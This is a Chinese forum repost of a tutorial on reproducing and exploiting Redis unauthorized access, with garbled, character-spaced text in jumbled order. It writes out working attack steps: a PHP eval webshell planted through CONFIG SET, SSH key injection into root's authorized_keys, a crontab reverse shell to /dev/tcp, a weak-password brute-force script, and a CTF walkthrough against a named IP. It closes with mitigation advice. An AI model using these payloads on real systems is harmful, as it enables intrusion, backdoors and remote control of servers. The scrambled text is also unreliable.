搜索

[21146] 2020-07-18_Redis未授权访问漏洞复现与利用

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2020-07-18_Redis未授权访问漏洞复现与利用 R e d i s 未 授 权 访 问 漏 洞 复 现 与 利 用 L e m o n S e c   2 0 2 0 - 0 7 - 1 8 一 、 漏 洞 简 介 以 及 危 害 一 、 漏 洞 简 介 以 及 危 害 1 、 什 么 是 、 什 么 是 r e d i s 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 R e d i s   默 认 情 况 下 ， 会 绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 ， 如 果 没 有 进 行 采 用 相 关 的 策 略 ， 比 如 添 加 防 火 墙 规 则 避 免 其 他 非 信 任 来 源   i p   访 问 等 ， 这 样 将 会 将   R e d i s   服 务 暴 露 到 公 网 上 ， 如 果 在 没 有 设 置 密 码 认 证 （ 一 般 为 空 ） 的 情 况 下 ， 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 授 权 访 问   R e d i s   以 及 读 取   R e d i s   的 数 据 。 攻 击 者 在 未 授 权 访 问   R e d i s   的 情 况 下 ， 利 用   R e d i s   自 身 的 提 供 的 c o n f i g   命 令 ， 可 以 进 行 写 文 件 操 作 ， 攻 击 者 可 以 成 功 将 自 己 的 s s h 公 钥 写 入 目 标 服 务 器 的   / r o o t / . s s h   文 件 夹 的 a u t h o t r i z e d _ k e y s   文 件 中 ， 进 而 可 以 使 用 对 应 私 钥 直 接 使 用 s s h 服 务 登 录 目 标 服 务 器 。 简 单 说 ， 漏 洞 的 产 生 条 件 有 以 下 两 点 ： 2 、 漏 洞 的 危 害 、 漏 洞 的 危 害 二 、 漏 洞 复 现 二 、 漏 洞 复 现 下 载 并 安 装 测 试 用 的 R e d i s ， 本 次 采 用 的 是 U b u n t u 镜 像 ： （ 1 ） r e d i s 绑 定 在   0 . 0 . 0 . 0 : 6 3 7 9 ， 且 没 有 进 行 添 加 防 火 墙 规 则 避 免 其 他 非 信 任 来 源 i p 访 问 等 相 关 安 全 策 略 ， 直 接 暴 露 在 公 网 ； （ 2 ） 没 有 设 置 密 码 认 证 （ 一 般 为 空 ） ， 可 以 免 密 码 远 程 登 录 r e d i s 服 务 。   （ 1 ） 攻 击 者 无 需 认 证 访 问 到 内 部 数 据 ， 可 能 导 致 敏 感 信 息 泄 露 ， 黑 客 也 可 以 恶 意 执 行 f l u s h a l l 来 清 空 所 有 数 据 ； （ 2 ） 攻 击 者 可 通 过 E V A L 执 行 l u a 代 码 ， 或 通 过 数 据 备 份 功 能 往 磁 盘 写 入 后 门 文 件 ； （ 3 ） 最 严 重 的 情 况 ， 如 果 R e d i s 以 r o o t 身 份 运 行 ， 黑 客 可 以 给 r o o t 账 户 写 入 S S H 公 钥 文 件 ， 直 接 通 过 S S H 登 录 受 害 服 务 器 w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 2 . 8 . 1 7 . t a r . g z ( 如 果 下 载 不 下 来 的 话 ： h t t p : / / d i s t f i l e s . m a c p o r t s . o r g / r e d i s / ）

服 务 启 动 成 功 ， 我 们 克 隆 这 台 虚 拟 机 一 台 作 为 攻 击 机 ， 一 台 作 为 靶 机 攻 击 机 I P ： 1 9 2 . 1 6 8 . 0 . 1 0 5 靶 机 I P ： 1 9 2 . 1 6 8 . 0 . 1 0 4 启 动 r e d i s 服 务 进 程 后 ， 就 可 以 使 用 测 试 攻 击 机 程 序 r e d i s - c l i 和 靶 机 的 r e d i s 服 务 交 互 了 。 比 如 ：
    三 、 未 授 权 访 问 漏 洞 测 试 三 、 未 授 权 访 问 漏 洞 测 试 使 用 r e d i s 客 户 端 直 接 无 账 号 成 功 登 录 r e d i s ： 从 登 录 的 结 果 可 以 看 出 该 r e d i s 服 务 对 公 网 开 放 ， 且 未 启 用 认 证 。 1 、 利 用 、 利 用 r e d i s 写 入 写 入 s h e l l 利 用 前 提 ： 这 里 由 于 本 地 搭 建 ， 我 们 已 经 知 道 目 录 ， 我 们 把 s h e l l 写 入 / h o m e / b m j o k e r / 目 录 下 ： 注 ： 注 ： 第 三 步 写 入 w e b s h e l l 的 时 候 ， 可 以 使 用 ： r n r n 代 表 换 行 的 意 思 ， 用 r e d i s 写 入 的 文 件 会 自 带 一 些 版 本 信 息 ， 如 果 不 换 行 可 能 会 导 致 无 法 执 行 。 s h e l l 写 入 完 成 ， 我 们 在 靶 机 上 来 证 明 ： 成 功 写 入 s h e l l 。 当 数 据 库 过 大 时 ， r e d i s 写 s h e l l 的 小 技 巧 ： 2 、 利 用 、 利 用 “ 公 私 钥 公 私 钥 ” 认 证 获 取 认 证 获 取 r o o t 权 限 权 限 当 r e d i s 以 r o o t 身 份 运 行 ， 可 以 给 r o o t 账 户 写 入 S S H 公 钥 文 件 ， 直 接 通 过 S S H 登 录 目 标 服 务 器 。 靶 机 中 开 启 r e d i s 服 务 ： r e d i s - s e r v e r   / e t c / r e d i s . c o n f 在 靶 机 中 执 行     m k d i r   / r o o t / . s s h     命 令 ， 创 建 s s h 公 钥 存 放 目 录 （ 靶 机 是 作 为 s s h 服 务 器 使 用 的 ） 在 攻 击 机 中 生 成 s s h 公 钥 和 私 钥 ， 密 码 设 置 为 空 ： 1 . 靶 机 r e d i s 链 接 未 授 权 ， 在 攻 击 机 上 能 用 r e d i s - c l i 连 上 ， 如 上 图 ， 并 未 登 陆 验 证 2 . 开 了 w e b 服 务 器 ， 并 且 知 道 路 径 （ 如 利 用 p h p i n f o ， 或 者 错 误 爆 路 经 ） ， 还 需 要 具 有 文 件 读 写 增 删 改 查 权 限 （ 我 们 可 以 将 d i r 设 置 为 一 个 目 录 a ， 而 d b f i l e n a m e 为 文 件 名 b ， 再 执 行 s a v e 或 b g s a v e ， 则 我 们 就 可 以 写 入 一 个 路 径 为 a / b 的 任 意 文 件 。 ） s e t   x   " r n r n < ? p h p   p h p i n f o ( ) ; ? > r n r n " < ? p h p   s e t _ t i m e _ l i m i t ( 0 ) ; $ f p = f o p e n ( ' b m j o k e r . p h p ' , ' w ' ) ; f w r i t e ( $ f p , ' < ? p h p   @ e v a l ( $ _ P O S T [ " b m j o k e r " ] ) ; ? > ' ) ; e x i t ( ) ; ? >
进 入 . s s h 目 录 ： c d   . s s h / ， 将 生 成 的 公 钥 保 存 到 1 . t x t ： 链 接 靶 机 上 的 r e d i s 服 务 ， 将 保 存 s s h 的 公 钥 1 . t x t 写 入 r e d i s （ 使 用 r e d i s - c l i   - h   i p 命 令 连 接 靶 机 ， 将 文 件 写 入 ） ： 远 程 登 录 靶 机 的 r e d i s 服 务 ： r e d i s - c l i   - h   1 9 2 . 1 6 8 . 0 . 1 0 4   并 使 用   C O N F I G   G E T   d i r   命 令 得 到 r e d i s 备 份 的 路 径 ： 更 改 r e d i s 备 份 路 径 为 s s h 公 钥 存 放 目 录 （ 一 般 默 认 为 / r o o t / . s s h ） ： 设 置 上 传 公 钥 的 备 份 文 件 名 字 为 a u t h o r i z e d _ k e y s ： 检 查 是 否 更 改 成 功 （ 查 看 有 没 有 a u t h o r i z e d _ k e y s 文 件 ） ， 没 有 问 题 就 保 存 然 后 退 出 ， 至 此 成 功 写 入 s s h 公 钥 到 靶 机 ：
在 攻 击 机 上 使 用 s s h 免 密 登 录 靶 机 ： s s h   - i   i d _ r s a   r o o t @ 1 9 2 . 1 6 8 . 0 . 1 0 4 利 用 私 钥 成 功 登 录 r e d i s 服 务 器 ！ ！ ！ 3 、 利 用 、 利 用 c r o n t a b 反 弹 反 弹 s h e l l 在 权 限 足 够 的 情 况 权 限 足 够 的 情 况 下 ， 利 用 r e d i s 写 入 文 件 到 计 划 任 务 目 录 下 执 行 。 端 口 监 听 端 口 监 听 : 在 攻 击 者 服 务 器 上 监 听 一 个 端 口 （ 未 被 占 用 的 任 意 端 口 ） ： 攻 击 详 情 ： 攻 击 详 情 ： 连 接 r e d i s ， 写 入 反 弹 s h e l l n c   - l v n p   4 4 4 4 r e d i s - c l i   - h   1 9 2 . 1 6 8 . 0 . 1 0 4 s e t   x x x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 0 4 / 4 4 4 4   0 > & 1 n n "
过 一 分 钟 左 右 就 可 以 收 到 s h e l l 。 四 、 P y t h o n 脚 本 自 动 化 测 试 可 用 来 测 试 是 否 存 在 未 授 权 或 弱 口 令 的 情 况 ： 五 、 解 决 方 案 s e t   x x x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 0 4 / 4 4 4 4   0 > & 1 n n " c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   s o c k e t i m p o r t   s y s P A S S W O R D _ D I C = [ ' r e d i s ' , ' r o o t ' , ' o r a c l e ' , ' p a s s w o r d ' , ' p @ a a w 0 r d ' , ' a b c 1 2 3 ! ' , ' 1 2 3 4 5 6 ' , ' a d m i n ' ] d e f   c h e c k ( i p ,   p o r t ,   t i m e o u t ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( " I N F O r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " r e d i s _ v e r s i o n "   i n   r e s u l t :                         r e t u r n   u " 未 授 权 访 问 "                 e l i f   " A u t h e n t i c a t i o n "   i n   r e s u l t :                         f o r   p a s s _   i n   P A S S W O R D _ D I C :                                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                                 s . s e n d ( " A U T H   % s r n "   % ( p a s s _ ) )                                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                                 i f   ' + O K '   i n   r e s u l t :                                         r e t u r n   u " 存 在 弱 口 令 ， 密 码 ： % s "   %   ( p a s s _ )         e x c e p t   E x c e p t i o n ,   e :                 p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i p = s y s . a r g v [ 1 ]         p o r t = s y s . a r g v [ 2 ]         p r i n t   c h e c k ( i p , p o r t ,   t i m e o u t = 1 0 )
1 、 比 较 安 全 的 办 法 是 采 用 绑 定 I P 的 方 式 来 进 行 控 制 。   请 在 r e d i s . c o n f 文 件 找 到 如 下 配 置 把   # b i n d   1 2 7 . 0 . 0 . 1 前 面 的 注 释 # 号 去 掉 ， 然 后 把 1 2 7 . 0 . 0 . 1 改 成 你 允 许 访 问 你 的 r e d i s 服 务 器 的 i p 地 址 ， 表 示 只 允 许 该 i p 进 行 访 问 ， 这 种 情 况 下 ， 我 们 在 启 动 r e d i s 服 务 器 的 时 候 不 能 再 用 : r e d i s - s e r v e r ， 改 为 : r e d i s - s e r v e r   p a t h / r e d i s . c o n f   即 在 启 动 的 时 候 指 定 需 要 加 载 的 配 置 文 件 , 其 中 p a t h / 是 你 上 面 修 改 的 r e d i s 配 置 文 件 所 在 目 录 ， 这 个 方 法 有 一 点 不 太 好 ， 我 难 免 有 多 台 机 器 访 问 一 个 r e d i s 服 务 。 2 、 设 置 密 码 ， 以 提 供 远 程 登 陆 打 开 r e d i s . c o n f 配 置 文 件 ， 找 到 r e q u i r e p a s s ， 然 后 修 改 如 下 : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 补 充 R e d i s 配 置 错 误 导 致 的 远 程 代 码 漏 洞 溯 源 在 刷 墨 者 学 院 的 题 时 ， 发 现 了 这 个 不 错 的 题 ， 通 过 这 个 题 了 解 R e d i s 在 低 权 限 下 的 渗 透 思 路 ： 给 出 了 I P ： 2 1 9 . 1 5 3 . 4 9 . 2 2 8       ， 同 时 也 给 出 了 俩 个 端 口 一 个 是 w e b 也 就 是 h t t p 端 口   4 1 9 3 8 7 ， 一 个 是 r e d i s 数 据 库 端 口   4 8 0 5 5 尝 试 用 k a l i 链 接 r e d i s 端 口 ： 连 接 成 功 ， 本 想 用 上 文 的 方 法 ， 生 成 s s h 密 钥 把 内 容 写 进 r e d i s 数 据 库 ， 然 后 把 r e d i s 数 据 库 的 目 录 指 定 到 / e t c / . s s h / ， 这 样 就 可 以 通 过 s s h 直 接 连 接 服 务 器 ， 但 是 这 里 权 限 不 够 ， 不 能 指 定 到 / e t c / . s s h / 目 录 。 由 于 服 务 器 是 u b u n t u 的 ， a p a c h e 容 器 ， 尝 试 指 定 一 下 默 认 的 路 径 / v a r / w w w / h t m l / 来 写 入 s h e l l : #   I f   y o u   w a n t   y o u   c a n   b i n d   a   s i n g l e   i n t e r f a c e ,   i f   t h e   b i n d   o p t i o n   i s   n o t #   s p e c i f i e d   a l l   t h e   i n t e r f a c e s   w i l l   l i s t e n   f o r   i n c o m i n g   c o n n e c t i o n s . # #   b i n d   1 2 7 . 0 . 0 . 1 r e q u i r e p a s s   y o u r p a s s w o r d y o u r p a s s w o r d 就 是 r e d i s 验 证 密 码 ， 设 置 密 码 以 后 发 现 可 以 登 陆 ， 但 是 无 法 执 行 命 令 了 。     命 令 如 下 : r e d i s - c l i   - h   y o u r I p   - p   y o u r P o r t / / 启 动 r e d i s 客 户 端 ， 并 连 接 服 务 器 k e y s   *   / / 输 出 服 务 器 中 的 所 有 k e y 报 错 如 下 ( e r r o r )   E R R   o p e r a t i o n   n o t   p e r m i t t e d     这 时 候 你 可 以 用 授 权 命 令 进 行 授 权 ， 就 不 报 错 了     命 令 如 下 : a u t h   y o u p a s s w o r d r e d i s - c l i   - h   2 1 9 . 1 5 3 . 4 9 . 2 2 8   - p   4 8 0 5 5
一 波 写 入 s h e l l 的 操 作 ， 然 后 在 w e b 页 面 尝 试 访 问 我 们 写 入 s h e l l 的 j o k e r . p h p 文 件 ： 成 功 写 入 ， 尝 试 用 菜 刀 链 接 ， 获 取 f l a g : 出 现 这 样 的 问 题 还 是 权 限 控 制 的 不 足 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 补 充 ： 再 网 上 收 集 两 个 比 较 方 便 的 g e t s h e l l   p y t h o n 脚 本 1 . h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / r e d i s - r o g u e - s e r v e r 漏 洞 利 用 ：
2 . h t t p s : / / g i t h u b . c o m / R i d t e r / r e d i s - r c e 漏 洞 利 用 ： 反 弹 到 其 他 服 务 器 ： 参 考 文 章 ： R e d i s   安 装   h t t p : / / w w w . r u n o o b . c o m / r e d i s / r e d i s - i n s t a l l . h t m l R e d i s 未 授 权 访 问 漏 洞     h t t p : / / b l o g . c s d n . n e t / H u _ w e n / a r t i c l e / d e t a i l s / 5 5 1 8 9 7 7 7 ? l o c a t i o n N u m = 1 5 & f p s = 1 R e d i s   未 授 权 访 问 配 合   S S H   k e y   文 件 利 用 分 析     h t t p : / / b l o g . k n o w n s e c . c o m / 2 0 1 5 / 1 1 / a n a l y s i s - o f - r e d i s - u n a u t h o r i z e d - o f - e x p o l i t / R e d i s 未 授 权 访 问 漏 洞 利 用 姿 势   h t t p : / / w w w . j i a n s h u . c o m / p / e 5 5 0 6 2 8 b a 1 b c h t t p s : / / b b s . i c h u n q i u . c o m / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 3 6 1 0 0 & h i g h l i g h t = r e d i s 本 文 作 者 ： b m j o k e r 本 文 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / b m j o k e r / p / 9 5 4 8 9 6 2 . h t m l 关 于 博 主 ： 评 论 和 私 信 会 在 第 一 时 间 回 复 。 或 者 直 接 私 信 我 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理